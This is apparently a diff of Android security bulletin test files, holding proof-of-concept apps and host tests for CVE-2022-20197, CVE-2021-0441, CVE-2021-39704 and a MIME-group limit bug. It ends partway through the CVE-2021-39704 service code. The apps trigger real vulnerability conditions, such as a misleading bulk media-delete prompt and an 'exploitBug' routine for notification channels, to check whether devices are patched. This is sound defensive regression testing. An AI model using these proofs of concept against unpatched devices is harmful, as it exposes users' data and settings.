b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java @@ -0,0 +1,71 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assume.assumeNoException; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.Test; +import org.junit.runner.RunWith; + + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2022_20197 extends StsExtraBusinessLogicHostTestBase { + private static final String TEST_PKG = "android.security.cts.CVE_2022_20197"; + + @AsbSecurityTest(cveBugId = 208279300) + @Test + public void testPocCVE_2022_20197() { + ITestDevice device = null; + boolean isPolicyPresent = true; + boolean isHiddenApiEnabled = true; + String status = ""; + try { + device = getDevice(); + installPackage("CVE-2022-20197.apk"); + + status = AdbUtils.runCommandLine("settings get global hidden_api_policy", device); + if (status.toLowerCase().contains("null")) { + isPolicyPresent = false; + } else if (!status.toLowerCase().contains("1")) { + isHiddenApiEnabled = false; + } + if (!isPolicyPresent || !isHiddenApiEnabled) { + AdbUtils.runCommandLine("settings put global hidden_api_policy 1", device); + } + runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testParcel"); + } catch (Exception e) { + assumeNoException(e); + } finally { + try { + if (!isPolicyPresent) { + AdbUtils.runCommandLine("settings delete global hidden_api_policy", device); + } else if (!isHiddenApiEnabled) { + AdbUtils.runCommandLine("settings put global hidden_api_policy " + status, + device); + } + } catch (Exception e) { + // ignore all exceptions. + } + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/BUG-237291548/Android.bp b/hostsidetests/securitybulletin/test-apps/BUG-237291548/Android.bp new file mode 100644 index 00000000000..9ac80ac1a46 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-237291548/Android.bp @@ -0,0 +1,64 @@ +// Copyright (C) 2022 The Android Open Source Project +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "BUG-237291548", + defaults: ["cts_support_defaults"], + srcs: ["src/**/*.java"], + test_suites: [ + "cts", + "vts10", + "sts", + ], + static_libs: [ + "androidx.appcompat_appcompat", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + "androidx.test.core", + ], + sdk_version: "current", +} + +android_test_helper_app { + name: "BUG-237291548-FAIL-INSTALL", + defaults: ["cts_support_defaults"], + srcs: ["src/**/*.java"], + manifest: ":BUG-237291548-BAD-MANIFEST", + test_suites: [ + "cts", + "vts10", + "sts", + ], + static_libs: [ + "androidx.appcompat_appcompat", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + "androidx.test.core", + ], + sdk_version: "current", +} + +// Modify the manifest file to include more than 500 MIME groups. The resulting +// test apk generated using this manifest should fail package install since the +// number of MIME groups is limited to a maximum of 500 per package. +genrule { + name: "BUG-237291548-BAD-MANIFEST", + srcs: ["AndroidManifest.xml"], + out: ["BadAndroidManifest.xml"], + cmd: "awk '/myMimeGroup/{print;for(i=0;i<501;i++){sub(/myMimeGroup[0-9]*/,\"myMimeGroup\"i);print}}1' $(in) > $(out)", +}
\ No newline at end of file diff --git a/hostsidetests/securitybulletin/test-apps/BUG-237291548/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-237291548/AndroidManifest.xml new file mode 100644 index 00000000000..cc692b86011 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-237291548/AndroidManifest.xml @@ -0,0 +1,39 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.BUG_237291548" + android:targetSandboxVersion="2"> + + <application> + <uses-library android:name="android.test.runner" /> + <activity + android:name=".MainActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + <data android:mimeGroup="myMimeGroup" /> + </intent-filter> + </activity> + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.BUG_237291548" /> + +</manifest>
\ No newline at end of file diff --git a/hostsidetests/securitybulletin/test-apps/BUG-237291548/src/android/security/cts/BUG_237291548/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-237291548/src/android/security/cts/BUG_237291548/DeviceTest.java new file mode 100644 index 00000000000..e4554aa86b6 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-237291548/src/android/security/cts/BUG_237291548/DeviceTest.java @@ -0,0 +1,60 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.BUG_237291548; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; + +import static org.junit.Assert.assertEquals; + +import android.content.pm.PackageManager; + +import androidx.test.runner.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.util.HashSet; +import java.util.Set; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + + private static final String MIME_GROUP = "myMimeGroup"; + + PackageManager mPm = getApplicationContext().getPackageManager(); + + @Test(expected = IllegalStateException.class) + public void testExceedGroupLimit() { + Set<String> mimeTypes = mPm.getMimeGroup(MIME_GROUP); + assertEquals(mimeTypes.size(), 0); + for (int i = 0; i < 500; i++) { + mimeTypes.add("MIME" + i); + mPm.setMimeGroup(MIME_GROUP, mimeTypes); + } + mimeTypes = mPm.getMimeGroup(MIME_GROUP); + assertEquals(500, mimeTypes.size()); + mimeTypes.add("ONETOMANYMIME"); + mPm.setMimeGroup(MIME_GROUP, mimeTypes); + } + + @Test(expected = IllegalArgumentException.class) + public void testExceedMimeLengthLimit() { + Set<String> mimeTypes = new HashSet<>(); + mimeTypes.add(new String(new char[64]).replace("\0", "MIME")); + mPm.setMimeGroup(MIME_GROUP, mimeTypes); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/Android.bp new file mode 100644 index 00000000000..f07b5cc421e --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/Android.bp @@ -0,0 +1,39 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2021-0441", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/AndroidManifest.xml new file mode 100644 index 00000000000..66451bd556b --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/AndroidManifest.xml @@ -0,0 +1,35 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2021_0441" + android:versionCode="1" + android:versionName="1.0"> + <application + android:allowBackup="true" + android:label="@string/app_name" + android:supportsRtl="true"> + <activity android:name=".PocActivity" android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + </activity> + </application> + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_0441" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/layout/activity_main.xml new file mode 100644 index 00000000000..7460b96ae6b --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/layout/activity_main.xml @@ -0,0 +1,26 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + android:orientation="vertical" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <View + android:id="@+id/drawableview" + android:layout_width="match_parent" + android:layout_height="300dp" /> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/integers.xml new file mode 100644 index 00000000000..3496d8a778f --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/integers.xml @@ -0,0 +1,22 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + --> + +<resources> + <integer name="pictures">200</integer> + <integer name="request_code">1</integer> + <integer name="wait_time_ms">10000</integer> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/strings.xml new file mode 100644 index 00000000000..9d8dd1b4319 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/strings.xml @@ -0,0 +1,30 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<resources> + <string name="app_name"> + CVE-2021-0441 + </string> + <string name="ui_id_alert"> + android:id/alertTitle + </string> + <string name="ui_id_message"> + android:id/message + </string> + <string name="path"> + content://media/external_primary/images/media/ + </string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/DeviceTest.java new file mode 100644 index 00000000000..1d9c47b7acf --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/DeviceTest.java @@ -0,0 +1,101 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_0441; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assume.assumeFalse; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; +import static org.junit.Assert.fail; + +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; + +import androidx.annotation.IntegerRes; +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.UiObject2; +import androidx.test.uiautomator.Until; + +import java.util.List; +import java.util.regex.Pattern; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + Context mAppContext; + + int getInteger(@IntegerRes int resId) { + return mAppContext.getResources().getInteger(resId); + } + + String getString(@IntegerRes int resId) { + return mAppContext.getResources().getString(resId); + } + + @Test + public void testCVE_2021_0441() { + try { + UiDevice device = UiDevice.getInstance(getInstrumentation()); + mAppContext = getApplicationContext(); + PackageManager packageManager = mAppContext.getPackageManager(); + String packageName = mAppContext.getPackageName(); + final Intent intent = packageManager.getLaunchIntentForPackage(packageName); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + mAppContext.startActivity(intent); + + // Selecting all visible objects with res-id: android:id/alertTitle + Pattern patternAlert = Pattern.compile(getString(R.string.ui_id_alert)); + BySelector selectorAlert = By.res(patternAlert); + + // Selecting all visible objects with res-id: android:id/message + Pattern patternMessage = Pattern.compile(getString(R.string.ui_id_message)); + BySelector selectorMessage = By.res(patternMessage); + + boolean isAlertTitleVisible = + device.wait(Until.hasObject(selectorAlert), getInteger(R.integer.wait_time_ms)); + boolean isMessageVisible = device.wait(Until.hasObject(selectorMessage), + getInteger(R.integer.wait_time_ms)); + assumeTrue(isAlertTitleVisible || isMessageVisible); + + List<UiObject2> objectsAlertTitle = device.findObjects(selectorAlert); + List<UiObject2> objectsMessage = device.findObjects(selectorMessage); + assumeFalse(objectsAlertTitle.isEmpty() && objectsMessage.isEmpty()); + + if (!objectsAlertTitle.isEmpty() && objectsMessage.isEmpty()) { + for (UiObject2 obj : objectsAlertTitle) { + String text = obj.getText(); + if (text == null) { + continue; + } + if (text.contains(getString(R.string.app_name)) + && text.contains(Integer.toString(getInteger(R.integer.pictures)))) { + fail("Vulnerable to b/174495520 !!"); + } + } + } + } catch (Exception e) { + assumeNoException(e); + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/PocActivity.java new file mode 100644 index 00000000000..7c8b8fe71f9 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/PocActivity.java @@ -0,0 +1,55 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_0441; + +import android.app.Activity; +import android.app.PendingIntent; +import android.content.IntentSender; +import android.net.Uri; +import android.os.Bundle; +import android.provider.MediaStore; + +import java.util.ArrayList; +import java.util.List; + +public class PocActivity extends Activity { + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_main); + requestDeletePermission(getUriList(getResources().getInteger(R.integer.pictures))); + } + + ArrayList<Uri> getUriList(int capacity) { + ArrayList<Uri> list = new ArrayList<Uri>(); + for (int i = 0; i < capacity; ++i) { + Uri uri = Uri.parse(getString(R.string.path) + i); + list.add(uri); + } + return list; + } + + private void requestDeletePermission(List<Uri> uriList) { + PendingIntent pi = MediaStore.createDeleteRequest(getContentResolver(), uriList); + try { + startIntentSenderForResult(pi.getIntentSender(), + getResources().getInteger(R.integer.request_code), null, 0, 0, 0); + } catch (IntentSender.SendIntentException e) { + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/Android.bp new file mode 100644 index 00000000000..044a5f5a161 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/Android.bp @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2021-39704", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/AndroidManifest.xml new file mode 100644 index 00000000000..70b7a736be5 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/AndroidManifest.xml @@ -0,0 +1,40 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2021_39704"> + <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> + <uses-permission android:name="android.permission.FOREGROUND_SERVICE" /> + <application + android:supportsRtl="true"> + <service + android:name=".PocService" + android:exported="true"> + </service> + <activity + android:name=".PocActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + </activity> + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_39704" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/integers.xml new file mode 100644 index 00000000000..ec924a9a275 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/integers.xml @@ -0,0 +1,24 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<resources> + <integer name="pass">2</integer> + <integer name="timeoutMs">5000</integer> + <integer name="assumptionFailure">3</integer> + <integer name="fail">1</integer> + <integer name="width">50</integer> + <integer name="height">50</integer> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/strings.xml new file mode 100644 index 00000000000..ab82c01b528 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/strings.xml @@ -0,0 +1,27 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<resources> + <string name="channel">channel</string> + <string name="failMessage">Failed to open </string> + <string name="group">group</string> + <string name="groupId">groupId</string> + <string name="messageKey">messageKey</string> + <string name="passMessage">Passed</string> + <string name="resultKey">resultKey</string> + <string name="sharedPreference">sharedPreference</string> + <string name="vulnerableMessage">Vulnerable to b/209965481</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/DeviceTest.java new file mode 100644 index 00000000000..633622957d0 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/DeviceTest.java @@ -0,0 +1,85 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39704; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static org.junit.Assert.assertNotEquals; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.content.SharedPreferences.OnSharedPreferenceChangeListener; +import android.content.pm.PackageManager; + +import androidx.test.runner.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.util.concurrent.TimeUnit; +import java.util.concurrent.Semaphore; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + + @Test + public void testdeleteNotificationChannelGroup() { + try { + Context context = getApplicationContext(); + PackageManager packageManager = context.getPackageManager(); + Intent intent = packageManager + .getLaunchIntentForPackage(context.getPackageName()); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + + context.startActivity(intent); + SharedPreferences sh = context.getSharedPreferences( + context.getString(R.string.sharedPreference), + Context.MODE_APPEND); + final Semaphore preferenceChanged = new Semaphore(0); + OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() { + @Override + public void onSharedPreferenceChanged( + SharedPreferences sharedPreferences, String key) { + if (key.equals(context.getString(R.string.resultKey))) { + if (sharedPreferences.getInt(key, 0) == context + .getResources().getInteger(R.integer.pass)) { + preferenceChanged.release(); + } + } + } + }; + sh.registerOnSharedPreferenceChangeListener(listener); + preferenceChanged.tryAcquire( + context.getResources().getInteger(R.integer.timeoutMs), + TimeUnit.MILLISECONDS); + + int result = sh.getInt(context.getString(R.string.resultKey), + context.getResources().getInteger(R.integer.pass)); + String message = sh.getString( + context.getString(R.string.messageKey), + context.getString(R.string.passMessage)); + assumeTrue(message, result != context.getResources() + .getInteger(R.integer.assumptionFailure)); + assertNotEquals(message, result, + context.getResources().getInteger(R.integer.fail)); + } catch (Exception e) { + assumeNoException(e); + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocActivity.java new file mode 100644 index 00000000000..60ce757808f --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocActivity.java @@ -0,0 +1,59 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39704; + +import android.app.Activity; +import android.Manifest; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.SharedPreferences; +import android.os.Bundle; + +//PocActitvity is required because requestPermissions needs to implemented to request location permission. +public class PocActivity extends Activity { + + @Override + protected void onCreate(Bundle savedInstanceState) { + try { + super.onCreate(savedInstanceState); + if (this.checkCallingOrSelfPermission( + Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) { + startForegroundService(new Intent(this, PocService.class)); + this.requestPermissions( + new String[] { + Manifest.permission.ACCESS_COARSE_LOCATION },0); + } + } catch (Exception e) { + setExceptionStatus(e.toString(), + getResources().getInteger(R.integer.assumptionFailure)); + } + } + + private void setExceptionStatus(String message, int status) { + try { + SharedPreferences sh = getSharedPreferences( + getString(R.string.sharedPreference), Context.MODE_PRIVATE); + SharedPreferences.Editor edit = sh.edit(); + edit.putInt(getString(R.string.resultKey), status); + edit.putString(getString(R.string.messageKey), message); + edit.commit(); + } catch (Exception e) { + // ignore exception + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocService.java new file mode 100644 index 00000000000..23303c3c23c --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocService.java @@ -0,0 +1,103 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39704; + +import android.app.Notification; +import android.app.NotificationChannel; +import android.app.NotificationChannelGroup; +import android.app.NotificationManager; +import android.app.Service; +import android.content.Context; +import android.content.Intent; +import android.content.res.Resources; +import android.content.SharedPreferences; +import android.graphics.Bitmap; +import android.graphics.Canvas; +import android.graphics.Color; +import android.graphics.drawable.Icon; +import android.os.IBinder; + +//PocService is needed to build the notification when the service starts. +public class PocService extends Service { + + @Override + public IBinder onBind(Intent intent) { + return null; + } + + @Override + public void onCreate() { + try { + exploitBug(); + super.onCreate(); + } catch (Exception e) { + setResult(getResources().getInteger(R.integer.assumptionFailure), + e.getMessage()); + } + } + + void exploitBug() { + try { + final NotificationManager notificationManager = getSystemService( + NotificationManager.class); + final String id = getString(R.string.channel); + final String groupId = getString(R.string.groupId); + notificationManager.createNotificationChannelGroup( + new NotificationChannelGroup(groupId, + getString(R.string.group))); + NotificationChannel notificationChannel = new NotificationChannel( + id, id, NotificationManager.IMPORTANCE_HIGH); + notificationChannel.setGroup(groupId); + notificationManager.createNotificationChannel(notificationChannel); + 